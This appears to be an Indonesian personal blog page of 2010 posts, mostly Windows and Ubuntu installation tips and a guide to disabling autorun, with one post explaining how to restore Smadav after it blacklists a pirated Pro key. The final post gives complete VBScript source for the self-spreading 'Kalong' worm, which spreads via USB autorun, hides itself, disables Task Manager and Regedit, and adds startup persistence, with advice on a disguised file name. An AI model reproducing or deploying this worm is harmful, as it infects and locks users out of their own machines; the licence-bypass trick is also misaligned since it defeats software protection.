4. program untuk modul installasi

- USB_PREP8 ( download via indowebster)

- PEtoUSB ( download via indowebster)

setelah pernah pernik diatas sudah siap maka langkah selanjutnya memulai installasi windows xp dari flash disk :

langkah-langkahnya sebagai berikut :

1. Colok flash disk ke komputer master dan catat posisi drivenya , apakah di F:, G:, H:, O: dan sebagainya

2. extrak file2 yang diatas , USB_PREP8 dan PEtoUSB kedalam satu folder misalkan C:/usb ( hasil extrak file USB_PREP8 jadi 1 folder, copy smua file dah pindahkan ke folder C:/usb) demikian juga file PEtoUSB.

3. Siapkan cd instalan windows xp dan masukkan ke cd rom komputer master .

4. selanjutnya buka folder C:\USB yang sudah dibuat dan berisi file2 tersebut diatas.

5. Selanjutnya jalankan file bernama “usb_prep8.bat” lalu akan muncul sebuah windows command prompt berisi bermacam2 perintah
usb_windowsprep8bat

tekan sembarang tombol aja di keyboard.

6. selanjutnya di layar komputer kamu akan muncul program PEtoUSB yang meminta untuk memformat flash disk kamu , klik start aja langsung.

7. Jika proses format sudah selesai, tutup program PEtoUSB ( jangan tutup windows command prompt usb_prep8.bat ) di layar akan muncul opsi-opsi dari 0 hingga 5.

8. Selanjutnya pilih opsi ke 1 untuk memilih sumber file installasi windows ( pilih drive cd rom kamu aja yang berisi cd installan windows ) atau juga bisa folder yang berisi file2 source instalasi windows.

9. setelah diatas , akan diminta lagi memilih opsi dan pilih opsi ke 3 untuk mentukan dimana kamu mencolokkan flash disk kamu, kalau di drive E maka ketik e dan tekan enter.

10. setelah tahap ini pilihlah opsi 4 untuk memulai proses pembuatan modul instalasi yang nantinya akan disalin ke flash disk secara otomatis. Jawab apa pun konfirmasi yang muncul dengan Y atau YES atau OK atau bentuk persetujuan lain. dalam proses ini akan memakan waktu yang cukup lama, proses pembuatan modul instalasi / pengcopyan file ke flash disk kamu ( mungkin lebih dari 15 menit )
yang sabar aja, setelah selesai sekarang kamu sudah memiliki flash disk yang bootable dan mampu menginstall windows secara langsung.

11. cabutlah flash disk dari komputer master lalu colokkan ke komputer victim untuk memulai installasi, bootlah komputer kamu dari flash disk .

lalu dilayar akan muncul 2 opsi penginstallan, pilihlah opsi yang kedua dan proses penginstalan windows akan mulai berjalan.
Cara install Windows Xp Dari Flashdisk Solusi Install windows tanpa CD-Rom
Fix IE Bug. Dont remove this line.

fd4Kemaren siang sampai sore saya habiskan untuk menginstall windows disalah satu komputer client warnet yah error , gak tau kenapa gak bisa diperbaiki lagi sehingga harus di install ulang. Masalahnya komputer tersebut tidak memiliki cd-rom , solusinya banyak sih untuk nginstall windows dengan kondisi komputer seperti ini, pasang cd rom atau bisa di coba install windows melalui usb flash disk dan yang tidak di anjurkan di bawa ke toko komputer buat di installin orang hehe ( mending sendiri ) .

Penginstallan windows xp dari flash disk ini juga sangat berguna untuk menginstall windows xp di beberapa notebook yang memang tidak dilengkapi dengan cd-rom seperti seri mini notebook semacam Asus Eee pc. Memang bisa diakalin dengan menginstall menggunakan external cd-rom, tapi untuk lebih menghemat kita bisa mencoba menginstall windows dengan hanya menggunakan flash disk ( harga 60 rebu juga dapat 1 biji ).

Dengan perkembangan teknologi flash disk sekarang yang memiliki kapasitas semakin besar maka kita dengan mudah bisa menggunakan flash disk untuk menginstall windows , berikut syarat2 yang harus di persiapkan .



1. Flash disk apa aja ( kalau bisa minimal 1GB ).

2. komputer korban ( victim )

3. komputer master , lengkap dengan cd-rom tentunya ( untuk membuat master flash disk )

3. cd windows xp ( asli atau palsu terserah )

4. program untuk modul installasi

- USB_PREP8 ( download via indowebster)

- PEtoUSB ( download via indowebster)

setelah pernah pernik diatas sudah siap maka langkah selanjutnya memulai installasi windows xp dari flash disk :

langkah-langkahnya sebagai berikut :

1. Colok flash disk ke komputer master dan catat posisi drivenya , apakah di F:, G:, H:, O: dan sebagainya

2. extrak file2 yang diatas , USB_PREP8 dan PEtoUSB kedalam satu folder misalkan C:/usb ( hasil extrak file USB_PREP8 jadi 1 folder, copy smua file dah pindahkan ke folder C:/usb) demikian juga file PEtoUSB.

3. Siapkan cd instalan windows xp dan masukkan ke cd rom komputer master .

4. selanjutnya buka folder C:\USB yang sudah dibuat dan berisi file2 tersebut diatas.

5. Selanjutnya jalankan file bernama “usb_prep8.bat” lalu akan muncul sebuah windows command prompt berisi bermacam2 perintah
usb_windowsprep8bat

tekan sembarang tombol aja di keyboard.

6. selanjutnya di layar komputer kamu akan muncul program PEtoUSB yang meminta untuk memformat flash disk kamu , klik start aja langsung.

7. Jika proses format sudah selesai, tutup program PEtoUSB ( jangan tutup windows command prompt usb_prep8.bat ) di layar akan muncul opsi-opsi dari 0 hingga 5.

8. Selanjutnya pilih opsi ke 1 untuk memilih sumber file installasi windows ( pilih drive cd rom kamu aja yang berisi cd installan windows ) atau juga bisa folder yang berisi file2 source instalasi windows.

9. setelah diatas , akan diminta lagi memilih opsi dan pilih opsi ke 3 untuk mentukan dimana kamu mencolokkan flash disk kamu, kalau di drive E maka ketik e dan tekan enter.

10. setelah tahap ini pilihlah opsi 4 untuk memulai proses pembuatan modul instalasi yang nantinya akan disalin ke flash disk secara otomatis. Jawab apa pun konfirmasi yang muncul dengan Y atau YES atau OK atau bentuk persetujuan lain. dalam proses ini akan memakan waktu yang cukup lama, proses pembuatan modul instalasi / pengcopyan file ke flash disk kamu ( mungkin lebih dari 15 menit )
yang sabar aja, setelah selesai sekarang kamu sudah memiliki flash disk yang bootable dan mampu menginstall windows secara langsung.

11. cabutlah flash disk dari komputer master lalu colokkan ke komputer victim untuk memulai installasi, bootlah komputer kamu dari flash disk .

lalu dilayar akan muncul 2 opsi penginstallan, pilihlah opsi yang kedua dan proses penginstalan windows akan mulai berjalan.
Read More..

Minggu, 28 November 2010

Cara mengenbalikan smadav yang di blacklist



Oke, kali ini saya akan membocorkan 1 rahasia. Pada Smadav 8.3 ini Programmer Smadav menambah aplikasi yang cukup mengejutkan, yaitu Smadav Blacklist. Yaitu Apabila anda menggunakan Key smadav pro palsu pada Smadav 8.2 maka anda akan di Blacklist.

Tetapi Smadav Blacklist ini tidak berpengaruh apa-apa. Hanya saja Smadav Pro anda akan ditarik dan template Smadav anda akan berubah menjadi hitam. Kali ini saya akan memberikan cara agar Smadav anda kembali seperti semula dan pulih kembali.  Simak Cara Mengembalikan Smadav Yang Di Blacklist dibawah ini :
1. Buka Smadav anda.
2. Klik tab Setting.
3. Pada Kotak nama, anda ketikkan "anti-pembajakan" tanpa tanda petik.  Kosongkan Key, alias jangan diisi.
4. Klik Register.
5. Tersenyum kepada saya.

Untuk Smadav 8.3 Pro, anda bisa lihat pada artikel saya yang lalu, yaitu Key Smadav 8.3 Gratis
Read More..

Cara menonaktifkan AUTO RUN di WINDOWS XP

Kali ini saya akan menjelaskan kepada kalian yang namanya Autoplay/Autorun. Apa itu Autoplay dan Autorun?
Autoplay atau juga disebut Autorun adalah sebuah fungsi yang memungkinkan kita untuk memutar membuka file secara otomatis jika kita memasukkan drive baru. Seperti Flashdisk, Cd, atau apapun yang dimasukkan melalui USB dan CD Room.

Tetapi pada Autorun ini banyak mempunyai kelemahan, salah satunya adalah memungkinkan virus untuk mudah masuk. Karena 80% para pembuat virus mengambil celah ini untuk menyebarkan virusnya. Jadi Autorun ini sebaiknya dinonaktifkan saja, demi keselamatan Flash atau yang lainnya.
Lantas bagaimana cara mematikannya?

Caranya cukup sederhana saja. Ikuti petunjuk berikut ini untuk mematikan Autorun/Autoplay :
1. Buka Start > Run.. > Ketik gpedit.msc > OK
2. Lihat pada sisi kiri. Pilih Computer Configuration > Administrative Templates > System.
3. Sekarang lihat pada sisi  kanan. Carilah yang namanya "Turn Off Autoplay"
4. klik 2x pada file tersebut.
5. Pilih option yang Enabled. Pilih juga pada All Drives.
6. Tinggal di Aplly.
7. Tutup program gpedit.

Semoga ini bisa membantu anda dan juga bisa menambah wawasan saya. Karena tutorialnya cukup sampai disini saja. Jadi saya akhiri posting saya kali ini. Read More..

Sabtu, 06 November 2010

INSTAL UBUNTU DI WINDOWS XP

Install Ubuntu di Windows XP

Ini adal1h salah satu cara membuat dual OS dalam komputer anda. Dalam kasus ini sebelumnya di komputer anda sudah ada OS WIndows XP dulu sebelumnya. Jika anda ingin menambahkan OS Ubuntu dalam komputer anda tersebut, setahu saya ada 2 cara : yang pertama adalah install dari desktop Windows XP dan yang kedua install langsung dari booting dengan CD Ubuntu.
Dalam posting ini saya akan membahas cara yang pertama. Oke untuk tahap 

persiapan silahkan siapkan alat dan bahannya :
1. kopi dan rokok buat sesaji.
2. seperangkat komputer (dektop ataupun laptop) yang sudah ada OS Windows nya.
3. free space minimal 10 Gb (dalam 1 partisi kosong)
4. cd booting Ubuntu

Cara pembuatan :
1. Sruput dulu kopi yang anda siapkan tadi, dan segera nyalakan rokok anda juga (jika anda tidak merokok ya gak usah )
2. Hidupkan komputer atau laptop anda, dan masuk ke OS Windows.
3. Masukkan CD Ubuntu tadi, kedalam drive CD/DVD rom anda.
4. Nyalakan autorun.nya maka akan ada sebuah popup window kecil seperti gambar dibawah.

5. Jika anda ingin mencoba melihat-lihat dahulu wujud dari Ubuntu silahkan 
pilih yg paling atas, jika langsung ingin menginstall pilih yg kedua.
6. Setelah memilih yg kedua, nanti akan ada selanjutnya pilihan beberapa settingan buat Ubuntunya.
7. Pilih drive yang anda siapkan untuk menaruh file sistem Ubutnunya.
8. Pilih kapasitas untuk tempat bagi file sistem Ubuntu tersebut. Sebaiknya disesuaikan dengan besarnya space yang anda sediakan tadi.
9. Isikan Bahasa, Username dan Password untuk settingan Ubuntunya. Selanjtunya Klik Install.
10. Selanjutnya tinggal anda menunggu sistem mengopi beberapa file untuk persiapan instalasai. Selanjtunya ada instruksi untuk me-reboot komputer anda. Reboot saja komputer anda, selanjutnya proses installasi dilakukan oleh sistem.
11. Setelah installasi selesai sistem akan me-reboot komputer anda, dan anda diminta untuk mengeluarkan CD Ubuntu dari drive rom.
12. Proses Installasi selesai.
Saat booting nantinya akan ada pilihan untuk masuk ke OS yang mana. 
Menurut saya :
[+] Keberhasilan proses installasi lebih dapat dipercaya, karena semua dijalankan dan diatur oleh sistem.
[-] Sistem berjalan agak lambat dibanding jika melakukan proses instalasinya dengan cara booting langsung (tanpa masuk Windows dulu). Performa disk menjadi agak lambat di Ubuntunya.
[-] Windows tidak dapat di Hibernate.

Sekian tips dari saya, semoga dapat membantu & menambah wacana teman-teman Read More..

Jumat, 05 November 2010

Bikin Virus Pakai Notepad

""""""""""bKin Virus Ckup Pke NotePAd"""""""""""""
wkwkkw
Virus ni gw kasih nama “Kalong.VBS”.Skrg bka notepad`a. Copy kode nie :
‘//–Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus–//
on error resume next
‘//–Dim kata-kata berikut ini–//
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt ,check,sd
‘//–Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information–//
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6.dll.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do
‘//–Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows)
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 32
set tf=fs.createtextfile(windowpath & “\batch- k4l0n6.dll.vbs”,2,true)
tf.write rekursif
tf.close
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 39
‘//–Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok–//
‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket
for each flashdrive in fs.drives
‘//–Cek Drive–//
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then
‘//–Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\–//
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\k4l0n6.dll.vbs “,2,true)
tf.write rekursif
tf.close
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes = 39
‘//–Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)–//
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf = fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next
‘//–Manipulasi Registry–//
set kalong = createobject(”WScript.Shell”)
‘//–Manip – Ubah Title Internet Explorer menjadi THE KALONG v.s. ZAY–//
kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Interne t Explorer\Main\Window Title”,” THE KALONG v.s. ZAY “
‘//–Manip – Set agar file hidden tidak ditampilkan di Explorer–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “0″, “REG_DWORD”
‘//–Manip – Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”
‘//–Manip – Disable klik kanan–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”
‘//–Manip – Munculkan Pesan Setiap Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Worm Kalong. Variant from Rangga-Zay, don’t panic all data are safe.”
‘//–Manip – Aktif setiap Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- k4l0n6.dll.vbs “
‘//–Manip – Ubah RegisteredOwner dan Organization–//
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Window s NT\CurrentVersion\RegisteredOrganization”, “The Batrix”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Window s NT\CurrentVersion\RegisteredOwner”,”Kalong”
‘//–Nah kalau kode dibawah ini saya nggak tau, tolong Mas Aat_S untuk menjelaskan–//
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject(”Wscript.shell”)
sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname
‘Akhir dari Kode
Save code di Notepad dengan cara FILE > SAVE. Lalu di save as type pilih “All Files (*.*). Simpan dengan nama : k4l0n6.dll.vbs. Sbenernya gak ush pke *.dll juga gak np" tpi usha agr gag m`curigakan ja.
He..he…!!
Read More..